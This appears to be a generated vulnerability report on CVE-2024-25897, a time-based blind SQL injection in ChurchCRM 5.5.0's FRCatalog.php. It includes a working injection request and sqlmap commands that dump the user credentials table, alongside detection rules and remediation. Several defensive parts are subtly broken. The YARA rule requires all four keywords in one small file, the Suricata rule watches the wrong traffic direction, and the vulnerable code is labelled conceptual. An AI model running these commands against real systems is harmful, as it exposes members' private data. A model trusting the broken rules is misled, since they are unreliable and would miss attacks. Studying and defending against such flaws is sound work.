CVE-2024-25897

Executive Summary

CVE-2024-25897 is a Blind SQL Injection (Time-based) vulnerability discovered in ChurchCRM version 5.5.0. The flaw resides in the FRCatalog.php file, specifically within the CurrentFundraiser GET parameter. An unauthenticated attacker can exploit this vulnerability to perform time-based blind SQL injection, potentially extracting sensitive data from the database, including user credentials, personal information, and church member records. The vulnerability is publicly known, but no official patch has been released by the vendor at this time. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for unpatched instances.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. ChurchCRM is a standalone PHP application. The risk is primarily to the application's database and the confidentiality of its data.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - No user action is required.
• Scope (S): Unchanged (U) - The vulnerability does not affect other components.
• Confidentiality (C): High (H) - Successful exploitation can lead to full database disclosure.
• Integrity (I): None (N) - The vulnerability is read-only (blind SQLi).
• Availability (A): None (N) - The vulnerability does not affect availability.

Threat Level: High (7.5) - Unauthenticated remote data extraction.

Deep Dive & Mechanics

The vulnerability is a classic time-based blind SQL injection. The CurrentFundraiser parameter in FRCatalog.php is directly concatenated into a SQL query without proper sanitization or parameterization. An attacker can inject SQL code that causes a time delay (e.g., SLEEP(5)) if a condition is true. By observing the response time, the attacker can infer the truth of injected conditions and systematically extract data character by character.

Vulnerable Code Snippet (Conceptual):

// FRCatalog.php (vulnerable)
$fundraiserId = $_GET['CurrentFundraiser'];
$query = "SELECT * FROM fundraiser_fr WHERE fr_id = $fundraiserId";
$result = mysqli_query($connection, $query);

Exploitation Technique: The attacker sends a request like:

GET /FRCatalog.php?CurrentFundraiser=1 OR SLEEP(5) HTTP/1.1

If the server takes 5 seconds to respond, the injection is successful. The attacker can then use boolean-based or time-based techniques to extract data.

Vulnerable vs. Patched Code

Vulnerable Code (ChurchCRM 5.5.0):

// FRCatalog.php
$fundraiserId = $_GET['CurrentFundraiser'];
$query = "SELECT * FROM fundraiser_fr WHERE fr_id = $fundraiserId";
$result = mysqli_query($connection, $query);

Patched Code (Hypothetical):

// FRCatalog.php (patched)
$fundraiserId = intval($_GET['CurrentFundraiser']);
$query = "SELECT * FROM fundraiser_fr WHERE fr_id = ?";
$stmt = mysqli_prepare($connection, $query);
mysqli_stmt_bind_param($stmt, "i", $fundraiserId);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);

The patched version uses intval() to ensure the input is an integer and then uses a prepared statement with parameterized queries, completely preventing SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install ChurchCRM 5.5.0 on a local server (e.g., XAMPP, LAMP).
2. Ensure the application is accessible via a web browser.
3. Use a tool like Burp Suite or sqlmap for exploitation.

Exploitation Steps:

1. Manual Time-Based Injection:

   curl "http://target/FRCatalog.php?CurrentFundraiser=1 OR SLEEP(5)"
   

   If the response takes 5 seconds, the injection is confirmed.

2. Automated Exploitation with sqlmap:

   sqlmap -u "http://target/FRCatalog.php?CurrentFundraiser=1" --batch --time-sec=5 --dbs
   

   This will enumerate databases.

3. Data Extraction:

   sqlmap -u "http://target/FRCatalog.php?CurrentFundraiser=1" --batch --time-sec=5 -D churchcrm --tables
   sqlmap -u "http://target/FRCatalog.php?CurrentFundraiser=1" --batch --time-sec=5 -D churchcrm -T user_usr --dump
   

Blue Team (Defensive)

Detection:

1. Monitor web server logs for requests to FRCatalog.php with unusual CurrentFundraiser parameters (e.g., containing SLEEP, BENCHMARK, OR, AND).
2. Look for abnormally long response times for a single endpoint.
3. Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.

Mitigation:

1. Immediately apply input validation and parameterized queries (see patched code).
2. If patching is not possible, disable or restrict access to FRCatalog.php.
3. Implement a Content Security Policy (CSP) and other security headers.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /FRCatalog.php with CurrentFundraiser parameter containing SQL keywords (e.g., SLEEP, BENCHMARK, UNION, SELECT).
• Unusually long response times (e.g., > 5 seconds) for FRCatalog.php.
• Multiple sequential requests to FRCatalog.php with varying CurrentFundraiser values.

Host IOCs:

• Web server logs showing SQL injection attempts.
• Database logs showing unexpected queries or errors.
• Unauthorized database dumps or data exfiltration.

File IOCs:

• Modified FRCatalog.php file (if attacker attempts to patch).
• Suspicious files in the web root (e.g., webshells).

Detection Engineering

YARA Rule

rule CVE_2024_25897_ChurchCRM_SQLi {
    meta:
        description = "Detects exploitation attempts of CVE-2024-25897 in ChurchCRM"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-25897"
    strings:
        $s1 = "CurrentFundraiser" nocase
        $s2 = "SLEEP" nocase
        $s3 = "BENCHMARK" nocase
        $s4 = "OR" nocase
        $s5 = "AND" nocase
    condition:
        all of ($s1, $s2, $s3, $s4, $s5) and filesize < 10KB
}

Sigma Rule

title: ChurchCRM Blind SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects time-based blind SQL injection attempts against ChurchCRM FRCatalog.php
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query:
            - '*CurrentFundraiser=*SLEEP*'
            - '*CurrentFundraiser=*BENCHMARK*'
            - '*CurrentFundraiser=*OR*'
            - '*CurrentFundraiser=*AND*'
    condition: selection
falsepositives:
    - Legitimate use of the word "SLEEP" in a parameter (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-25897 ChurchCRM Blind SQL Injection Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/FRCatalog.php";
    http_uri;
    content:"CurrentFundraiser";
    http_uri;
    pcre:"/CurrentFundraiser=[^&]*(SLEEP|BENCHMARK|OR|AND)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-25897;
    classtype:web-application-attack;
)

Remediation & Mitigation

1. Immediate Action: If you are running ChurchCRM 5.5.0, immediately restrict access to FRCatalog.php using a web server rule (e.g., .htaccess):

   <Files "FRCatalog.php">
       Require all denied
   </Files>
   

2. Short-Term Fix: Apply input validation and parameterized queries as shown in the patched code example.
3. Long-Term Fix: Upgrade to a patched version of ChurchCRM once available. Monitor the vendor's website and GitHub for updates.
4. Compensating Controls: Deploy a WAF with SQL injection rules. Enable detailed logging and monitoring.
5. Vendor Contact: Report the vulnerability to the ChurchCRM development team if not already done.

Valters IT Signature: This report is generated for educational and defensive purposes. Unauthorized exploitation of this vulnerability is illegal.